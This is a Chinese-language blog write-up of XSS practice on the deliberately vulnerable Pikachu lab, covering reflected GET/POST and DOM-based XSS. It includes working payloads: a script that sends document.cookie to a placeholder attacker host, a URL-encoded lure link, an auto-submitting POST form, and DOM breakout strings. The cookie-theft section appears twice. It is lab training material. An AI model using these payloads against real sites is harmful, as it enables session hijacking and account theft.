XSS學(xué)習(xí)記錄之pikachu練習(xí)

在學(xué)習(xí)和了解后,感覺還是要上手練習(xí),就在網(wǎng)上找到了一個(gè)比較詳細(xì)的漏洞平臺進(jìn)行練習(xí):pikachu,期間也是經(jīng)過了大大小小的問題,最后成功安裝下來,菜鳥的學(xué)習(xí)之路開始。
在這里現(xiàn)附下載和安裝問題:
[pikachu下載地址]https://github.com/zhuifengshaonianhanlu/pikachu
這里引用一下pikachu官方的話:

Pikachu使用世界上最好的語言PHP進(jìn)行開發(fā)-_-,數(shù)據(jù)庫使用的是mysql,因此運(yùn)行Pikachu你需要提前安裝好"PHP+MYSQL+中間件(如apache,nginx等)"的基礎(chǔ)環(huán)境,建議在你的測試環(huán)境直接使用 一些集成軟件來搭建這些基礎(chǔ)環(huán)境,比如XAMPP,WAMP等,作為一個(gè)搞安全的人,這些東西對你來說應(yīng)該不是什么難事。
Pikachu是一個(gè)帶有漏洞的Web應(yīng)用系統(tǒng),在這里包含了常見的web安全漏洞。 如果你是一個(gè)Web滲透測試學(xué)習(xí)人員且正發(fā)愁沒有合適的靶場進(jìn)行練習(xí),那么Pikachu可能正合你意

我本地用的是phpstudy,所以方便了很多,接下來:
-->把下載下來的pikachu文件夾放到web服務(wù)器根目錄下;
我這里就是phpstudy的WWW目錄下

-->根據(jù)實(shí)際情況修改inc/config.inc.php里面的數(shù)據(jù)庫連接配置;如下:

-->訪問http://x.x.x.x/pikachu,會有一個(gè)紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點(diǎn)擊進(jìn)行初始化安裝!",點(diǎn)擊即可完成安裝。


這樣,pikachu平臺就搭建好了
管理工具里面提供了一個(gè)簡易的xss管理后臺,供你測試釣魚和撈cookie~(在XSS練習(xí)的時(shí)候比較重要)
這里面很多類型都不知道是啥哎-- --

安裝好就開始啦

反射型XSS(get)

打開后只有一個(gè)搜索框,如圖:

試試隨便提交點(diǎn)東西吧,輸入333,發(fā)現(xiàn)沒有被處理的輸出了
然后現(xiàn)在我們試試輸入js代碼,payload:<script>alert("1")</script>看一下結(jié)果,但是可見前端對輸入長度做了限制:
所以只好打開 開發(fā)者工具 修改下他的限制長度

改的差不多大就行,然后JS代碼就成功的執(zhí)行了

還有,這是一個(gè)GET型的XSS漏洞,所以也可將帶有XSS的URL偽裝后發(fā)送給目標(biāo)即可
payload:http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(%221%22)%3C/script%3E&submit=submit
如果是POST型的XSS,無法直接使用URL的方式進(jìn)行攻擊

反射型XSS(post)+獲取cookie

上來呢是讓填寫用戶名和密碼

啥也不知道呀,只好點(diǎn)一下右上角的提示,然后可得到用戶名和密碼:admin/123456,登陸后頁面:
輸入框隨便輸入還是會被輸出,<p class="notice">who is 123,i don't care!</p>并且URL無變化,所以是post傳參
嘗試閉合,構(gòu)造Payload:</p><script>alert(1)</script>成功
或者在輸入框輸入:<script>alert(document.cookie)</script>可獲取cookie

實(shí)驗(yàn)案例:模擬獲取cookie

我們怎么獲得其他的用戶的信息?

GET型

我們需要搭建一個(gè)收集Cookie的后臺,但是這里呢,Pikachu已經(jīng)為我們準(zhǔn)備好了,只需要在左側(cè)[管理工具]欄進(jìn)入XSS后臺,初始化數(shù)據(jù)庫,然后登陸

里面由三個(gè)模塊:
首先我們需要將XSS后臺下的pkxss/xcookie/ cookie.php文件這里的IP地址改為漏洞服務(wù)器的地址,由于這邊是本地搭建的, 所以地址就是本地,如下:
cookie.php用于接收受害者的cookie,然后將頁面 '重定向' 到漏洞服務(wù)器的index頁面【訪問偽造的站點(diǎn)后后, 自動重定向 為‘首頁’, 是為了不讓用戶察覺被攻擊的事實(shí), 如果重定向其他地址, 用戶就可能會知道被攻擊了】我們構(gòu)造的Payload如下:<script>document.location = 'http://攻擊者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
用戶提交后就可收到cookie了
由于是GET類型的XSS漏洞,我們可以直接構(gòu)造一個(gè)帶有Payload的URL,誘使受害者點(diǎn)擊就能取得Cookie(可能不會太容易,哈哈):http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻擊者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
現(xiàn)在看一下xss后臺, 是成功收集到了cookie的

POST型

由于我們不能直接把我們的惡意代碼嵌入到URL中,所以攻擊思路如下:


我們需要自己搭一個(gè)惡意站點(diǎn),然后在網(wǎng)站上放一個(gè)post表單 ,將存放POST表單的鏈接發(fā)送給受害者,誘導(dǎo)受害者點(diǎn)擊,這個(gè)POST表單會自動向漏洞服務(wù)器提交一個(gè)POST請求,實(shí)現(xiàn)受害者幫我們提交POST請求的目的。(post.html頁面的作用是:當(dāng)用戶訪問這個(gè)頁面時(shí),會自動向漏洞服務(wù)器發(fā)送POST請求,然后重定向到漏洞服務(wù)器的index頁面
http://攻擊者/pikachu/pkxss/xcookie/post.html
我們只需要誘導(dǎo)受害者點(diǎn)擊上面的鏈接就能竊取用戶的Cookie)
這個(gè)表單位置在XSS后臺下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服務(wù)器地址和攻擊者服務(wù)器地址,因?yàn)檫@里是在本地演示,因此2個(gè)IP都修改為127.0.0.1,如下:

然后我們需另外打開一個(gè)瀏覽器來模擬用戶,先訪問我們已知的存在POST型XSS漏洞的網(wǎng)站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一個(gè)賬號test/abc123登陸,然后在用戶瀏覽器中訪問偽造的post.html站點(diǎn)(必須是在登陸狀態(tài)下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就會響應(yīng)我們在文件里修改的操作而到首頁


進(jìn)入XSS后臺,就可看到竊取到的Cookie了:

這個(gè)操作包括下一個(gè)釣魚的操作不知道為什么我在火狐瀏覽器進(jìn)行了很多次,XSS后臺都收不到信息,谷歌是有時(shí)候可以,在無解的時(shí)候換了IE瀏覽器試了一次就可以了,這里有點(diǎn)疑惑為什么,畢竟浪費(fèi)了很多時(shí)間呀 -_-

反射型XSS(post)+獲取cookie

上來呢是讓填寫用戶名和密碼

啥也不知道呀,只好點(diǎn)一下右上角的提示,然后可得到用戶名和密碼:admin/123456,登陸后頁面:
輸入框隨便輸入還是會被輸出,<p class="notice">who is 123,i don't care!</p>并且URL無變化,所以是post傳參
嘗試閉合,構(gòu)造Payload:</p><script>alert(1)</script>成功
或者在輸入框輸入:<script>alert(document.cookie)</script>可獲取cookie

實(shí)驗(yàn)案例:模擬獲取cookie

我們怎么獲得其他的用戶的信息?

GET型

我們需要搭建一個(gè)收集Cookie的后臺,但是這里呢,Pikachu已經(jīng)為我們準(zhǔn)備好了,只需要在左側(cè)[管理工具]欄進(jìn)入XSS后臺,初始化數(shù)據(jù)庫,然后登陸

里面由三個(gè)模塊:
首先我們需要將XSS后臺下的pkxss/xcookie/ cookie.php文件這里的IP地址改為漏洞服務(wù)器的地址,由于這邊是本地搭建的, 所以地址就是本地,如下:
cookie.php用于接收受害者的cookie,然后將頁面 '重定向' 到漏洞服務(wù)器的index頁面【訪問偽造的站點(diǎn)后后, 自動重定向 為‘首頁’, 是為了不讓用戶察覺被攻擊的事實(shí), 如果重定向其他地址, 用戶就可能會知道被攻擊了】我們構(gòu)造的Payload如下:<script>document.location = 'http://攻擊者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
用戶提交后就可收到cookie了
由于是GET類型的XSS漏洞,我們可以直接構(gòu)造一個(gè)帶有Payload的URL,誘使受害者點(diǎn)擊就能取得Cookie(可能不會太容易,哈哈):http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻擊者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit
現(xiàn)在看一下xss后臺, 是成功收集到了cookie的

POST型

由于我們不能直接把我們的惡意代碼嵌入到URL中,所以攻擊思路如下:


我們需要自己搭一個(gè)惡意站點(diǎn),然后在網(wǎng)站上放一個(gè)post表單 ,將存放POST表單的鏈接發(fā)送給受害者,誘導(dǎo)受害者點(diǎn)擊,這個(gè)POST表單會自動向漏洞服務(wù)器提交一個(gè)POST請求,實(shí)現(xiàn)受害者幫我們提交POST請求的目的。(post.html頁面的作用是:當(dāng)用戶訪問這個(gè)頁面時(shí),會自動向漏洞服務(wù)器發(fā)送POST請求,然后重定向到漏洞服務(wù)器的index頁面
http://攻擊者/pikachu/pkxss/xcookie/post.html
我們只需要誘導(dǎo)受害者點(diǎn)擊上面的鏈接就能竊取用戶的Cookie)
這個(gè)表單位置在XSS后臺下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服務(wù)器地址和攻擊者服務(wù)器地址,因?yàn)檫@里是在本地演示,因此2個(gè)IP都修改為127.0.0.1,如下:

然后我們需另外打開一個(gè)瀏覽器來模擬用戶,先訪問我們已知的存在POST型XSS漏洞的網(wǎng)站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一個(gè)賬號test/abc123登陸,然后在用戶瀏覽器中訪問偽造的post.html站點(diǎn)(必須是在登陸狀態(tài)下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就會響應(yīng)我們在文件里修改的操作而到首頁


進(jìn)入XSS后臺,就可看到竊取到的Cookie了:

這個(gè)操作包括下一個(gè)釣魚的操作不知道為什么我在火狐瀏覽器進(jìn)行了很多次,XSS后臺都收不到信息,谷歌是有時(shí)候可以,在無解的時(shí)候換了IE瀏覽器試了一次就可以了,這里有點(diǎn)疑惑為什么,畢竟浪費(fèi)了很多時(shí)間呀 -_-

DOM型XSS

進(jìn)入這一關(guān),pikachu也算貼心-_-,提示我們:先學(xué)習(xí)DOM
嗯,了解過后,回到pikachu開始測試,先輸入如圖:

可以發(fā)現(xiàn)輸出的不一樣了,還有一個(gè)超連接
查看源碼:
這段代碼的作用就是點(diǎn)擊write按鈕后在當(dāng)前頁面插入一個(gè)鏈接
而這段JS代碼,domxss函數(shù)通過 getElementById 獲取到了標(biāo)簽 Id 為' text'的內(nèi)容賦值給str,然后又把 str 的內(nèi)容通過字符串拼接的方式寫到了 a 標(biāo)簽的 href 屬性中,a標(biāo)簽會寫到 Id 為' dom'的 div 標(biāo)簽中顯示到頁面,總的來說就是修改了頁面的DOM節(jié)點(diǎn),通過innerHTML把一段用戶數(shù)據(jù)當(dāng)作HTML寫入到頁面中,這就造成了DOM based XSS
對比沒輸入信息的源碼
輸入的值是被單引號閉合起來再傳入標(biāo)簽中的,從源碼' "+str+" '也可看出
所以我們可以通過閉合的方式構(gòu)造Payload,(構(gòu)造的Payload貌似源碼給了·······)
(1)' onclick=alert(/xss/) //(點(diǎn)擊超鏈接有彈窗)
輸入后,頁面代碼就成了

<a href=" onlick=alert(/xss/) //' >
what do you see?
</a>

即首先用一個(gè)單引號閉合掉href的第一個(gè)單引號,然后插入一個(gè)onclick事件,最后再用注釋符//注釋掉第二個(gè)單引號。 這里為什么需要onclick,是通過on事件觸發(fā)?

(2)除了構(gòu)造一個(gè)新事件外,還可以選擇閉合掉<a>標(biāo)簽,并插入一個(gè)新的HTML標(biāo)簽。嘗試如下輸入:
'><img src="#" onmouseover="alert('xss')">(點(diǎn)擊click me就會有彈窗),頁面代碼如下:

<a href>
<img src="#" onmouseover="alert('xss')"
" '>what do you see? "
</a>

造成DOM型XSS的原因是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和存儲型比起來,它是不經(jīng)過后臺交互的。

還有一種方法:
利用JavaScript偽協(xié)議
在留言框里輸入:javascript:alert("You are attacked !!")然后點(diǎn)擊那個(gè)超鏈接(是js代碼)

DOM型XSS-X

先隨便輸入點(diǎn)東西:aaa吧,細(xì)心點(diǎn)發(fā)現(xiàn)URL發(fā)生了變化
多了一個(gè)text參數(shù):

然后點(diǎn)擊蹦出來的超鏈接,一句很很治愈?的話,結(jié)果神奇的又蹦出來一句
不僅如此,URL也變化了參數(shù)未變,多了個(gè)#的符號
查看源碼:
大概是:這里也有個(gè)JS代碼,它定義的domxss函數(shù),利用window.location.search 獲取瀏覽器中URL的內(nèi)容,然后賦值給 str,然后經(jīng)過URL解碼和字符串分隔,取出URL中的參數(shù)內(nèi)容,再把 “+” 替換為 “ ”(空格),賦值給 xss,最后把 xss 拼接到 a 標(biāo)簽中,然后寫到 Id 為 dom 的 div 標(biāo)簽中。
跟前面的DOM不同的是,它的輸入是從瀏覽器的URL中獲取的,很像反射型XSS(get)
然而, 注入的payload還是很上一個(gè)一樣的

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容